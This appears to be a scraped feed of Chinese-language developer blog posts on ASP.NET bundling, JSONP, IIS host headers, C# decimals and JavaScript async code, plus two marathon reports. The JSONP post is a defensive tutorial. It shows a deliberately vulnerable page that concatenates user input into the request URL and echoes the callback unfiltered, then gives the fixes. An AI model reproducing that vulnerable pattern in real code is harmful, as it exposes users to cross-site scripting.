    加註解不影響 v 值
  7. jquery-1.10.2.js 結尾加上var t="Jeffrey";
    })( window );
    var t="Jeffrey";
    /bundles/jquery?v=_LgVA5lYsIBF-Ewy4gYBtrCBcqipfPdNC1xBqwwYAMg1
    v 值改變
  8. jquery-1.10.2.js 恢復原樣
    /bundles/jquery?v=yLrUYw8wJsDVphfZd34hBbV8EDUqbXgqcJTvyPCUCRg1
    恢復第 5 點的 v 值

想更進一步了解 v 值的由於,我追進 System.Web.Optimization Open Source。v 值來自 GetBundleResponse(BundleContext context).GetContentHashCode(),判斷是以 Script 壓縮後內容計算而得的 Hash 值,此與我們的觀察一致:

/*** Bundle.cs ***/
/// <summary>
/// Returns the full url with content hash if requested for the bundle
/// </summary>
/// <param name="context"></param>
/// <param name="includeContentHash"></param>
/// <returns></returns>
internalstring GetBundleUrl(BundleContext context, bool includeContentHash = true) {
string bundleVirtualPath = context.BundleVirtualPath;
if (includeContentHash) {
        BundleResponse bundleResponse = GetBundleResponse(context);
        bundleVirtualPath += "?" + VersionQueryString + "=" + bundleResponse.GetContentHashCode();
    }
return AssetManager.GetInstance(context.HttpContext).ResolveVirtualPath(bundleVirtualPath);
}
 
/*** BundleResponse ***/
internalstaticstring ComputeHash(string input) {
using (SHA256 sha256 = CreateHashAlgorithm()) {
byte[] hash = sha256.ComputeHash(Encoding.Unicode.GetBytes(input));
return HttpServerUtility.UrlTokenEncode(hash);
    }
}
 
/// <summary>
/// Returns a hashcode of the bundle contents, for purposes of generating a 'versioned' 
/// url for cache busting purposes.
/// This is not used for cryptographic purposes, just as a quick and dirty way to 
/// give browsers a different url when the bundle changes
/// </summary>
/// <returns></returns>
internalstring GetContentHashCode() {
if (_contentHash == null) {
if (String.IsNullOrEmpty(Content)) {
            _contentHash = String.Empty;
        }
else {
            _contentHash = ComputeHash(Content);
        }
    }
return _contentHash;
}

至於 GetBundleResponse(context),背後有個 Cache 機制。若 Cache 裡沒有要存取的內容,GetBundleResponse 會呼叫 GenerateBundleResponse() 並使用 UpdateCache() 將內容存入 Cache 供下次取用:

/// <summary>
/// Uses the cached response or generate the response, internal for BundleResolver to use
/// </summary>
/// <param name="context"></param>
/// <returns></returns>
internal BundleResponse GetBundleResponse(BundleContext context) {
// Check cache first
    BundleResponse bundleResponse = CacheLookup(context);
 
// Cache miss or its an instrumentation request (which we never cache)
if (bundleResponse == null || context.EnableInstrumentation) {
        bundleResponse = GenerateBundleResponse(context);
        UpdateCache(context, bundleResponse);
    }
return bundleResponse;
}

關鍵來了,UpdateCache() 將內容存入 Cache 的同時,透過 VirtualPathProvider.GetCacheDependency()產生相依於檔案的 CacheDependency 作為 Cache.Add() 相依物件參數。一旦檔案內容有所更動,該檔案關聯的內容便會從 Cache 移除,下次 CacheLookup() 存取時再重新讀檔壓縮打包,進而產生不同的 Hash 值:

/// <summary>
/// Stores the response for the bundle in the cache, also sets up cache depedencies for 
/// the virtual files used for the response
/// </summary>
/// <param name="context"></param>
/// <param name="bundle"></param>
/// <param name="response"></param>
publicvoid Put(BundleContext context, Bundle bundle, BundleResponse response) {
    List<string> paths = new List<string>();
    paths.AddRange(response.Files.Select(f => f.VirtualFile.VirtualPath));
    paths.AddRange(context.CacheDependencyDirectories);
string cacheKey = bundle.GetCacheKey(context);
// REVIEW: Should we store the actual time we read the files?
    CacheDependency dep = context.VirtualPathProvider.GetCacheDependency(context.BundleVirtualPath, 
    paths, DateTime.UtcNow);
    context.HttpContext.Cache.Insert(cacheKey, response, dep);
    bundle.CacheKeys.Add(cacheKey);
}

由以上的觀察與分析,結論如下:

ScriptBundle URL 透過 v 參數避免客戶端使用過期內容。v 值來自 min.js 或 js 檔案內容的 Hash(排除空白及註解),其背後以 Cache 機制提升效能,並使用 CacheDependency 偵測檔案改變(不需重啟或重新編譯),檔案更新時將刪除 Cache 以便下次重新讀取並產生不同的 v 值,確保不會誤用過時內容。

漫談 JSONP 的 XSS 攻擊風險

$
0
0

JSONP是解決跨網域 JavaScript 呼叫的古老方法,簡單有效又不挑瀏覽器,至今仍是我常用的兵器之一。最近在想一個問題,JSONP 呼叫時由客戶端指定 Callback 函式名稱,是一個可以注入惡意程式碼的管道,有否存在 XSS 攻擊的風險?需不需要積極防護?

經過嘗試,發現要透過 JSONP 發動攻擊是可能的,但前題是開發者犯了某些低級錯誤。

使用以下網頁示範:

<%@ Page Language="C#" %>
<scriptrunat="server">
void Page_Load(object sender, EventArgs e) {
if (Request["mode"] == "jsonp") {
string callback = Request["callback"];
            Response.Write(string.Format("{0}({1})",
                callback, 
                Newtonsoft.Json.JsonConvert.SerializeObject(
"Param=>" + Request["param"]
                )));
            Response.End();
        }
    }
</script>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>JSONP XSS Issue</title>
<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script>
</head>
<body>
<input type="text" id="txtParam" value="Darkthread" />
<button>Test JSONP</button> 
<script>
$("button").click(function() {
    $.ajax({
        url: "http://127.0.0.1/JSONP/JsonpDemo.aspx?mode=jsonp&param=" + $("#txtParam").val(),
        dataType: "jsonp"
    }).done(function(data) {
        alert(data);
    });
});
</script>
</body>
</html>

範例為求單純,客戶端與伺服器端寫在同一支程式,但我將它掛在 IIS localhost/JSONP/ 下,呼叫時則用 127.0.0.1/JSONP,瀏覽器將其視為兩個網站,GET/POST AJAX 呼叫將被阻擋,要透過 dataType: "jsonp" 才能溝通

執行時客戶端透過 jQuery.ajax 發出 JSONP 呼叫並帶入param 參數,jQuery 會附上隨機產生的函式名稱當成 callback 參數;而伺服器端傳回"callback函式名稱(傳回資料的JSON結果內容)"送交客戶端執行,傳回資料會經由 JSON 還原成 done(function(data) { … })中的 data。

程式裡故意留了一個低級錯誤,url: "httq://127.0.0.1/JSONP/JsonpDemo.aspx?mode=jsonp&param=" + $("#txtParam").val() 直接串接使用者輸入內容,跟 SQL Injection 一樣會導致被注入惡意程式的風險,請看示範:(註:依我個人看法,此攻擊管道雖然存在,但要藉由它攻擊第三者還需其他條件配合,例如:惡意指令寫入DB、程式由DB讀取後當成呼叫 JSONP 的 URL 參數,並在第三者看得到的網頁執行)

使用者輸入&callback=後就可以串接任意 JavaScript 程式碼(跟 SQL Injection 的單引號起手式如出一轍),如同 SQL Injection 要靠 Parameter 杜絕,在 QueryString 串接參數內容時要用 encodeURIcomponent 編碼也是基本常識(補充),而既然是用 jQuery,透過 data: { param: $("#txtParam").val() } 交給 jQuery 更省事:

$("button").click(function() {
    $.ajax({
        url: "httq://127.0.0.1/JSONP/JsonpDemo.aspx",
        data: { mode: "jsonp", param: $("#txtParam").val() },
        dataType: "jsonp"
    }).done(function(data) {
        alert(data);
    });
});

param 參數經過編碼後就永遠只是字串值,無法再夾帶攻擊指令。

進一步想,那麼伺服器端是否也能加上防護,阻止客戶端犯下愚惷的錯誤呢?不難,只要妥善過濾 callback 傳入內容即可,既然 callback 是個函式名稱,我們可限定它只能包含英數字及底線符號,即可社絕被夾帶 JavaScript 程式,例如:

void Page_Load(object sender, EventArgs e) {
if (Request["mode"] == "jsonp") {
string callback = Request["callback"];
if (!System.Text.RegularExpressions.Regex.IsMatch(
                callback, "^[0-9A-Za-z_]{1,64}$")) 
            {
                Response.Write("alert('Invalid callback parameter');");
            }
else
            {
                Response.Write(string.Format("{0}({1})",
                callback, 
                Newtonsoft.Json.JsonConvert.SerializeObject(
"Param=>" + Request["param"]
                )));
            }
            Response.End();
        }
    }

程式檢查 callback 參數是否由純粹英數字或底線組成,並限定長度最多 64 字元,遇到被穿插 JavaScript 程式片段時改傳警告:

【結論】

當開發者犯下 URL 直接串接使用者輸入內容的低級錯誤,就可能導致 JSONP 遭受 XSS 攻擊,請務必使用 encodeURIcomponent() 編碼;至於伺服器端,嚴格限定 callback 參數只可包含單純文數字,可進一步防呆。

補記:發現 jQuery 1.x $.ajax 執行 JSONP 出錯時不會觸發 error 事件或 fail(),需升級至 2.x 以上版本或考慮改用第三方外掛如 jquery-jsonp

2016 觀音山馬拉松

$
0
0

小而美的觀音山馬,去年一試成主顧,今年繼續報到。

氣象預報有 30%-50% 的下雨機率,六點多抵達會場時雲層密佈,看來會是不錯的跑馬天。

會場人聲鼎沸,幾十公尺外,微風運河水面如鏡,河邊有位裝備齊全的阿伯釣魚釣到忘我,幾步之遙,兩個世界。

神將是蘆洲地方特色之一,遇上神將們一字排開拍紀念照,「跑馬有神助,輕鬆跑山路」,哈!

來了好多大人物,新北副市長、立委、議員雲集,我倒也不排斥,這也是地方賽事的特色囉。今年大會的紀念衫改為紀念風衣(照片講者身上那件),頗受好評。

起跑前在會場亂逛,在蘆洲分局的宣導攤位看到怪異組合~

家樂福在會場搞了一個前進指揮所,現場賣起飲料、零食跟運動用品,有創意~

七點準時起跑!

看到襯衫領帶西裝公事包加皮鞋(登楞!),Cosplay 快遲到上班族的跑友,很有趣。(跑完皮鞋就報銷了吧?)

起跑後先來七公里河濱暖腳才進入山路段。

出了河濱 Bottleneck 來了,大家乖乖成兩路排隊上天橋。我是來玩的,沒差這幾分鐘,卻苦了晚半小時出發追上的半馬女總一,一臉焦急,沿路高喊「借過,讓一讓,借過,借過…」想從全馬中段班突圍。嗯,跑在「最前端」,比別人辛苦是免不了滴 XD

過了馬路進入山區,開始面對一串坡度 20%-25% 的山路。唔… 好硬!

硬漢嶺叉路到了,聽聞步道很硬,但山頂有 360 度的好視野,改天再來嚐一嚐。

過了遊客中心高點,跑下山的另一面,台北港海景映入眼簾。可惜滿天是雲,如果有藍天,海天一色就更美了。

老天爺:咦?有人要藍天嗎?As you with!

哇!藍色的海,藍色的天!

等等,好像哪裡怪怪的… 呸呸呸,我收回,請給我陰天,給我陰天啊啊啊~~~
(亂許願之後,後半馬烤肉秀登場)

今年路線小改,過八里療養院後不原路折返而是繞環狀接回國家風景區字樣叉路,原路越過小山頭返回河濱。

太陽不小,但越過林蔭段一陣清風徐來,在腦內啡催化下,頓時感覺身心舒暢,夫復何求?

水站熱情依舊,每站配備大致相同,樣式也跟去年一致,西瓜(甜)、小蕃茄、橘子、葡萄、香蕉、餅乾、巧克力、燕麥條、水、運動飲料、沙士,後段有幾站還有啤酒,SOP 得讓人很放心。最棒的是幾乎站站都有冰塊,能喝到冰啤酒跟冰汽水是跑馬一大樂事~在水站看到去年的金牌廚師,「天國近了,來水站得永生」「很累吼,明年還要報?」標語也成了本場特色 XD

來時的 25% 陡上變陡下,大步怕傷腳,碎步怕跘倒,一樣很硬斗。

天氣變好,關渡橋一帶河濱車道滿滿都是鐵馬客,塞車囉~

每回必拍的關渡橋。

順順跑完河濱最後 5K 回到終點,晶片成績5:47:07,隨便囉,開心就好。十二金釵久候多時等著為跑友掛獎牌,今年走可愛女僕風,但有位皮膚黝黑的「女」僕漢草身材好嚇人,哈!

有更衣帳蓬可以換衣服真是貼心,不用排隊還可一人獨享,我愛小而美賽事!拍照時有隻「黑糖」繞著帳篷跑來跑去找主人,就一起入鏡囉。(小狗隨後就找到主人,請勿擔心)

完賽獎牌:

  

觀音山馬拉松,明年再會囉~

Visual Studio 中文英文介面切換

$
0
0

Visual Studio 我習慣用英文版,尤其是版控有一堆術語:Check In、Check Out、View History、Pending Changes、Branch/Merge、 Get Latest 平時多用英文,溝通 UI 操作方法時硬要翻譯成「檢視記錄」、「暫止的變更」、「取得最新的版本」,挺彆扭。

工作上遇到幾起誤裝 Visual Studio 中文版又不知如何切成英文的案例,特地寫篇筆記。

由 Visual Studio 上方選單找到「工具/選項/國際設定」,畫面有個「取得其他語言」連結指向下載網站:

下拉選單選英文,轉到英文網頁後下載安裝檔回來安裝,安裝時間有點久,請耐心等候。

裝好後,國際設定選項就多了 English,選完就要重啟 Visual Studio 才會生效。

小技巧-多站台共用 IIS 80 Port

$
0
0

講到要在一台主機架設多個站台,一般直覺想到的是用不同的 Port 區隔,例如:httq://web_server/、httq://web_server:8080/ 指向不同站台。不過,非 80 Port 網址親和力較差,甚至會被某些較機歪嚴格的防火牆阻擋(只開放 80 及 443),那麼同一台主機上的多個站台可以共用 80 Port 嗎?Yes!這是 HTTP 標準應用情境之一,主流網站伺服器也都內建支援。

請看示範。先使用 ping 驗證 www.intra.net 與 api.intra.net 均指向 IP 192.168.1.105,以瀏覽器連線 www.intra.net 及 api.intranet.net 顯示不同網頁,由 Request.PhysicalPath 可證兩個 default.aspx 各位於 X:\WWW\IntranetWww 及 X:\WWW\IntranetApi,分屬不同站台。

當輸入 www 及 api 兩組網址,瀏覽器連上的都是 192.168.1.105 這台機器的 80 Port ,但兩次送出的 HTTP Request 最大差異如下圖紅框所示,Request Header 中有個 Host 標頭,兩次傳送的內容分別是 Host: www.intra.net 及 Host: api.intra.net,伺服器便可依此判斷將 Request 交給不同站台處理,達成在同一 IP 80 Port 運行多個站台的效果。

回到 IIS 上,要如何設定才能實現多站台共享 80 Port?其實它就藏在新增網站的介面一個常被忽略的欄位-「主機名稱」,如以下範例,該站台監聽 80 Port,但只接受 HTTP Request Host 標頭為 api.intranet.net 的連線:

透過指定主機名稱,我們可以實現在 80 Port 執行多個站台的理想。而如下所示,IIS 允許其中一個站台不指定主機名稱(本例為 Default Web Site),作為查無符合 Host 標頭宣告時的預設站台。

學會這點,下回再有同主機掛多站台需求,除了區分不同 Port 外又多一招可用;而遇到「敲主機名稱網址與 IP 顯示網頁不同」問題,也該知道茶包要從哪裡射起囉~


關於 Decimal 小數尾數零

$
0
0

C#的實數型別有三種:float、double、decimal。其中 float、double 為浮點數,本站的老讀者們一定知道-「算錢用浮點,遲早被人扁」的道理,因此只要涉及金額計算,我一律改用 decimal 型別。前幾天,踩到 decimal 小數尾數零地雷一枚。

以下程式為例,大家猜猜結果為何?

class Program
    {
 
staticvoid Main(string[] args)
        {
float flt = 1.2300F;
            Console.WriteLine(flt);
double dbl = 1.2300D;
            Console.WriteLine(dbl);
decimal dcm = 1.2300M;
decimal cmp = 1.23M;
            Console.WriteLine(dcm == cmp);
            Console.WriteLine($"{dcm} vs {cmp}");
            Console.Read();
        }
    }

註:實數常值(Real Literal)後方需加上尾碼以明確宣告型別,F f 代表 float、D d 或不加尾碼代表 double、M m 則代表 decimal。

由結果可知,浮點數型別(float、double)不會保留小數尾數零,decimal 則可做到 1.23 與 1.2300 有別:進行 = 比對二者相等,但 ToString() 時小數尾數零可忠實還原。

事情發生在一段分別由 SQL 及 Oracle 取出對應資料比對的程式,目的在驗證兩邊資料庫是否一致。為簡化比對邏輯,我將所有欄位內容 ToString() 轉為字串,心想 SQL 與 Oracle 的 Schema 一致,欄位都是 DECIMAL(5,4) 且儲存數值相同,豈有寫入 decimal 後 ToString() 結果不同的道理?結果,真的被我遇上了。

用以下範例重現問題,在 SQL 與 Oracle 端分別將 1.23 存入 DECIMAL(5,4),再用 Dapper 讀取到 decimal:

staticvoid Main(string[] args)
        {
using (var cn = new SqlConnection(csSql))
            {
decimal d = cn.Query<decimal>(
@"
declare @d decimal(5,4);
set @d=1.23;
select @d;").Single();
                Console.WriteLine(d);
            }
using (var cn = new OracleConnection(csOra)) 
            {
                cn.Open();
                cn.Execute(
@"create global temporary table decimal_test (d decimal(5,4)) on commit preserve rows");
                cn.Execute("insert into decimal_test values (1.23)");
 
decimal d = cn.Query<decimal>("select d from decimal_test").First();
                Console.WriteLine(d);
                cn.Execute("truncate table decimal_test");
                cn.Execute("drop table decimal_test");
 
            }
            Console.Read();
        }

結果分別為 1.2300 與 1.23。SQL Client 讀取 DECIMAL(5,4) 轉入 decimal 時後方會補足 0 到精確位數,而 ODP.NET 不會,二者的行為差異造成讀取 decimal 的小數尾數零數目不同,不影響大於小於等於比對,遇到 ToString() 轉字串,便會得到不同結果。

至於要怎麼去除 decimal ToString() 夾帶的尾數零,有幾種做法

  1. 如果確定要保留小數位數上限,可以寫成 ToString("#.####")。缺點是若 # 個數小於實際小數位數會被四捨五入影響精確度。若求保險,小數點後寫上 28 個 # 肯定安全。(decimal 精確度上限為 29 位)
  2. 用 ToString("G29") 轉為科學記號,但要求 29 位精準位數,成為位數足又不會出現 E 的幾次方的偽科學計號。缺點是 0.00001 這類微小數會被轉成 1E-05。
  3. 在 Stackoverflow 看到奇妙解法,decimal 除上 1.00000…(29個0):
    publicstaticdecimal Normalize(thisdecimalvalue)
    {
    returnvalue/1.000000000000000000000000000000000m;
    }
       
    寫成擴充方法,1.2300m.Normalize() 尾數零就會清光光。

簡要心得

  • decimal 會保存小數尾數零,float、double 等浮點型別不會
  • 小數尾數零不影響大於等於小於比對,但會影響 ToString() 結果
  • SQL Client 與 ODP.NET 讀取 DECIMAL(m, n) 欄位寫入 decimal 時對於小數尾數零的處理原則不同
  • 去除 decimal 小數尾數零有幾種做法:ToString("#.####")、ToString("G29") 以及奇妙的 Normalize() 方法
  • 政令宣導時間:「算錢用浮點,遲早被人扁」。早晚複誦,永誌不忘~

Windows 10 磁碟使用率持續 100%

$
0
0

無意在工作管理員發現 C 碟的啟用時間持續停在 100% 降不下來,但讀寫資料量不高,此種狀況發生在 SSD 上格外讓人心驚。

開啟資源監視器查到可疑檔案讀寫活動:C:\Windows\Temp\WPR_initiated_DiagTrackAotLogger_WPR System Collector.etl,以每秒 1MB 左右的速度不斷寫入資料,長期高居磁碟讀寫量榜首,是頭號疑犯。

使用關鍵字爬文找到兩篇相關討論:12,都是這兩天才有的新貼文,不少人遇到相同情況,眾人推測與 WPR 服務、DiagTrack 服務以及最近的 Windows 更新有關聯。確實原因不明,目前找到的 Workaround 是停用 DiagTrack 服務:

實測停用 DiagTrack 服務,我的 C 碟使用率立即恢復正常水準。

猜想可能是近期 Windows 更新隱藏的 Bug,為防止磁碟被搞壞,決定先停用 DiagTrack 以為上策。以上發現供遇到類似狀況的朋友參考。

2016 飛龍盃烘爐地馬拉松

$
0
0

去年參加第一屆感覺不錯,今年順理成章連一拉一。五點半起跑,五點出頭抵達南山福德宮會場還有夜景可看。

貴賓致詞完畢,準時出發。

路線與去年相同,何時上坡何時下坡心裡有數,少了新奇感,但多了幾分篤定。

起跑後以兩公里陡下揭開序幕,緊接華夏科技大學旁一百多公尺高的小山頭陡上又陡下,接著轉進河濱。

市區賽道左變右拐還得穿越不少巷弄,所幸指引義工部署密集,不然應該會迷路迷到地老天荒。

超沒多久遇到烏來馬曾海放我的印地安姐,今天配合「飛龍」主題穿了龍袍,頭上還有條龍~不過我今天比較爭氣,緊咬近半馬才不支脫落。

老天幫忙,多雲微晴偶有毛毛雨,是再理想不過的跑步天氣。或許是天氣宜人,或許是吃錯藥,原本遠足等級的山路馬,我跑得好賣力,認真到自己都覺得害怕。

賣力歸賣力,還是少不了胡亂照相一番,也為萬一跑不好預留下台階。(要不是一路照相,我不會只跑出這種成績… 笑)

 

 

(兩位唐代古人貌似在檢查警用手電筒是否有電池尚未取出,但手臂比例怪怪DER)

 

 

 


好大一群單車部隊,領隊精神講話兼指導跟車技巧中

跑得太認真,竟對補給沒啥印象,熱咖啡跟薑母茶蠻特別,意外發現薑母茶跟馬拉松挺搭的。

好驚人的 Cosplay,熊本熊來著,雖然只跑 10K,還是強!

回到華夏科技大學旁的小山頭,近 30% 坡度讓人燃起熊熊的 WTF 感~

 

在小山頭頂倒數第二補給站幸運吃到限量版隱藏補給品:烤山豬肉跟小米酒(一大杯)的啦~開心!感謝志工。

終於看到土地公在山頂對我微笑了,最後 1.5K 爬 200 米,看準時間一鼔作氣,最後以 4:39:39.39 完賽。

總升降近八百公尺的山路全馬,我竟然跑出 43X!我有這麼快?我很滿意。(感謝土地公保佑)

趁著早跑完人少,趕搭接駁車到南勢角捷運站,坐捷運回政大要繞一大圈,我想到好點子:薑!薑!薑!薑~

破山路馬 PB 之餘,順便解除跑 42 公里+ 9 公里單車的成就。

新北市前半小時免費,U Bike 車資:10 元;完成 51K 偽雙鐵,無價!

小試 JavaScript Promise

$
0
0

非同步邏輯是寫 JavaScript 逃不掉的複雜課題,古早流行的做法是傳入 Callback 函式當參數,待特定作業完成再呼叫,缺點是串接程序一旦變多,就會出現波動拳式排版,寫到渾然不知身處夢境第幾層:

asyncJob1(function() {
//Callback 函式: asyncJob1 完成後呼叫
//......
    ayncJob2(function() {
//Callback 函式: asyncJob2 完成後呼叫
//......
        ayncJob3(function() {
//Callback 函式: asyncJob3 完成後呼叫
//......
            ayncJob4(function() {
//Callback 函式: asyncJob4 完成後呼叫
//......
                ayncJob5(function() {
//Callback 函式: asyncJob5 完成後呼叫
//......
                });
 
            });
 
        });
 
    });
});

後來,使用 Promise 串連非同步邏輯漸成主流,作業成功或失敗 Callback 寫在 Promise 物件 done()/then()/fail() 等方法,另外還有 always() 指定不論成功失敗都要執行的程序。各大程式庫與框架(jQuery 1.5+、Angular)都有自己實做的 Promise 版本,原理大同小異,要串接循序執行的連續作業是小事一椿,就以 jQuery 為例,上述程式碼可以改寫美化如下:(註:1.8 起建議以 then() 取代 pipe())

var dfd = jQuery.Deferred();
dfd.resolve()
    .then(function() {
return asyncJob1();
    })
    .then(function() {
//Callback 函式: asyncJob1 完成後呼叫
//......
return asyncJob2();
    })
    .then(function() {
//Callback 函式: asyncJob2 完成後呼叫
//......
return asyncJob3();
    })
    .then(function() {
//Callback 函式: asyncJob3 完成後呼叫
//......
return asyncJob4();
    })
    .then(function() {
//Callback 函式: asyncJob4 完成後呼叫
//......
return asyncJob5();
    })
    .done(function() {
//Callback 函式: asyncJob5 完成後呼叫
//......
    });

理論上 jQuery 或 Angular 實做的 Promise 已經很夠用,但自從 Promise被納入 ECMAScript 6 規範,意味著新一代瀏覽器都內建支援,不再需要第三方程式庫,未來使用標準 Promise 處理非同步邏輯將成主流,又有新東西要學了。

ES6 的 Promise 依循 Promise/A+規範,寫法跟我慣用的 jQuery Deferred 有點出入,搞個對照,熟悉 Promise 寫法是必要的。(註:如果你被 ECMAScript 6、ES6、ES2015 等術語搞到頭很昏,可以參考這篇

程式操作以上,程式用 Promise 處理非同步流程,按下 Resolve 或 Reject 彈出不同訊息並停用兩顆按鈕。如果用 jQuery + TypeScript,寫法如下:

module test1 {
var dfd = jQuery.Deferred();
    $("#btnResolve").click(() => dfd.resolve());
    $("#btnReject").click(() => dfd.reject());
var task = dfd.promise();
 
    task.done(
        () => {
            alert("Button Resolve Clicked!");
        })
        .fail(
        () => {
            alert("Button Reject Clicked!");
        })
        .always(() => {
            $("button").prop("disabled", true);
        });
}

建立一個 jQuery.Deferred,呼叫 promise() 產生 Promise 物件,在 done()、fail()、always() 分別掛上事件,呼叫 resolve() 將觸發 done()、呼叫 reject() 則會觸發 fail(),而不管 resolve() 或 reject() 最後都會觸發 always()。

來看看改成 ES6 Promise 要怎麼寫:

module test2 {
    declare var Promise: any;
 
var task = new Promise((resolve, reject) => {
        $("#btnResolve").click(() => resolve());
        $("#btnReject").click(() => reject());
    });
 
    task.then(
        () => {
            alert("Button Resolve Clicked!");
        })
        .catch(
        () => {
            alert("Button Reject Clicked!");
        })
        .then(
        () => {
            $("button").prop("disabled", true);
        });
}

原理大同小異,主要差別在 resolve、reject 在 Promise 建構時傳入,而 resolve() 觸發 then()、reject() 觸發 catch(),要實現 jQuery Deferred always() 則可在 catch() 後方再加一個 then()。

開啟 Chrome、Edge 或 Firefox,可以觀察到 ES6 Promise 版網頁的操作效果跟 jQuery Deferred 版完全相同。等等,那 IE …

是的,即便是 IE11 也沒內建 Promise!該怎麼辦?

網路上有不少 Promise Polyfill,例如:ES6 Promise、BludbirdJS,Promise 的原理不複雜,自己寫一個也非不可能,MSDN Blog 甚至有一篇範例,但應該很少人會想為此造輪子。研究後,我找到引用 Lightweight ES6 Promise polyfill的簡單做法,下載 Github 上的 promise.js 或 promise.min.js,網頁加上 <script src="Scripts/promise.js"></script>就一切搞定。如果你身為要考慮 IE678 的悲情攻城獅(老師,金包銀前奏請下),又偏偏不肯向命運低頭誓死要挑戰在老 IE 用 Promise,由於 catch 對老 IE 是保留字,.catch(…) 得改寫成 ["catch"](…) 才不會出錯。(話說回來,跨瀏覽器又要考慮 IE,放著 jQuery 不用硬要橫柴入灶是為哪椿呢?)

最後補充一點,jQuery 3 調整了 jQuery.Deferred 以符合 Promise/A+,若 jQuery 已升級到 3.0,Deferred 可以當成標準 Promise 使用,遇到要求型別為 Promise 的整合應用可以通行無阻,火力升級。

JavaScript 非同步程式革命-async、await 與 TypeScript 2.1

$
0
0

.NET 4 的 Task大幅簡化多執行緒程式碼複雜度,而 4.5 推出的 async/await (參考)則讓非同步程式的寫法更精簡。(註:在博客園找到一篇從 Task、ThreadPool 談到 await 的廣泛介紹,可以一讀)

網頁開發老鳥都知道,JavaScript 端的非同步邏輯不比 C# 簡單,複雜起來會讓人寫程式寫到嘔出幾十兩鮮血。於是在前端也看到類似 Thread、Task、async/await 的發展史:最早只能靠 Callback、setTimeout 苦手硬刻,ES6 有了 Promise, 到了 ES7,async/await 也出現了。撤底搞懂 ES6 Promise、Generator,ES7 async/await 是很有成就感的事(如果你想試試的話: 1 2),不過如果你跟我一樣,要寫前端但不想走在最前端,讓 TypeScript 負責封裝背後的複雜性,輕鬆下指令也是很好的選擇。

TypeScript 早在 1.7 版就支援 async 與 await,但有個大罩門,編譯出來的 JavaScript 只能在 ES2015/ES6 目標平台執行(參考:ES 規格檢查表),連 IE11 都不支援,對必須考量 IE 相容的開發者來說,英雄無用武之地,差不多是這種感覺:

前陣子推出的 TypeScript 2.1 有個天大好消息,async / await 向下相容 ES5 目標平台,IE9 嘛A通,都到了這份兒上,還有不學不用的道理?

先來看個範例:

<%@ Page Language="C#" %>
 
<scriptrunat="server">
void Page_Load(object sender, EventArgs e)
    {
var m = Request["m"];
if (m == "guid")
        {
            System.Threading.Thread.Sleep(2000);
            Response.Write(Guid.NewGuid().ToString());
            Response.End();
        }
elseif (m == "time")
        {
            System.Threading.Thread.Sleep(1000);
            Response.Write(DateTime.Now.ToString("HH:mm:ss"));
            Response.End();
        }
    }
</script>
 
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
</head>
<body>
<button>Call AJAX</button>
<div class="msg"></div>
<script src="Scripts/jquery-3.1.1.js"></script>
<script src="Scripts/promise.js"></script>
<script src="Scripts/async.js"></script>
</body>
</html>

網頁流程為按下按鈕後先呼叫 ?m=guid 由 Server 端取得 Guid,再呼叫 ?m=time 取回時間,將結果顯示在<div>上。若以 jQuery.get 實作,程式如下:

var div = $(".msg");
var button = $("button");
    button.click(() => {
        button.prop("disabled", true);
        $.get("/Lab.aspx?m=guid").done((guid) => {
            div.text(guid);
            $.get("/Lab.aspx?m=time").done((time) => {
                div.text(div.text() + " " + time);
                button.prop("disabled", false);
            });
        });
    });

執行結果:

接著我們用 async/await 來改寫一番:

var div = $(".msg");
var button = $("button");
 
    async function doAjaxJob() {
        button.prop("disabled", true);
        await $.get("/Lab.aspx?m=guid").then(guid => div.text(guid));
        await $.get("/Lab.aspx?m=time").then((time) => {
            div.text(div.text() + " " + time);
            button.prop("disabled", false);
        });
    }
 
    button.click(doAjaxJob);

跟 C# 做法類似,function 加上 async 後,在其中便可使用 await 等待非同步程式結束再往下執行,await 函式傳回的必須是 Promise,而先前提到 jQuery 3 特意調整符合 Promise/A+ 規範的優勢也在此展現,$.get() 傳回值為 Promise 可直接搭配 await 使用,寫法簡潔易讀許多。

async 寫法在 TypeScript 2.1 以前有目標平台限制,低於  ES6(ES2015)會出現錯誤訊息。

安裝TypeScript for VS2015 2.1+版可以解除限制,編譯出相容 ES5 的程式碼。但由於 ES5 欠缺 Promise 定義,還需要使用 NuGet 安裝 es-promise 或其他包含 Promise 的 TypeScript 定義檔,才能順利編譯。

再稍稍走深一點,切換 ES 版本來觀察 TypeScript 如何在 ES5 及 ES6 實現 async / await:

TypeScript 在 ES5 實現 async、await 的祕密如下:

很可怕,不要問。不過也不需要懂(有興趣搞懂可以看這篇),有了 TypeScript 2.1, 我們放心寫 async / await 就好,就算要相容 IE9-11 也不怕,再加上先前介紹過的 Template String,教人怎能不愛它?

最後用一個美妙的 async/await 範例收尾,大家知道要怎麼在 JavaScript 實現 Thread.Delay(…) 嗎?Yes,setTimeout(),如果要做到一秒後印1s,再兩秒後印3s,再3秒後印6s,程式大約會像這樣:

var div = $(".msg");
var button = $("button");
 
function doAjaxJob() {
        button.prop("disabled", true);
        setTimeout(() => {
            div.text("1s");
            setTimeout(() => {
                div.text("3s");
                setTimeout(() => {
                    div.text("6s");
                    button.prop("disabled", false);
                }, 3000);
            }, 2000);
        }, 1000);
    }
 
    button.click(doAjaxJob);

讓我們用 await 改寫看看:

var div = $(".msg");
var button = $("button");
 
    async function delay(duration: number) {
returnnew Promise((resolve, reject) => {
            setTimeout(resolve, duration);
        });
    }
 
    async function doAjaxJob() {
        button.prop("disabled", true);
        await delay(1000);
        div.text("1s");
        await delay(2000);
        div.text("3s");
        await delay(3000);
        div.text("6s");
    }
 
    button.click(doAjaxJob);

看到 JavaScript 可以 Thread.Sleep,程式還這麼清爽,我感動到都快哭了~ 快升級 TypeScript 2.1 感受一下吧!

Viewing all 428 articles
Browse latest View live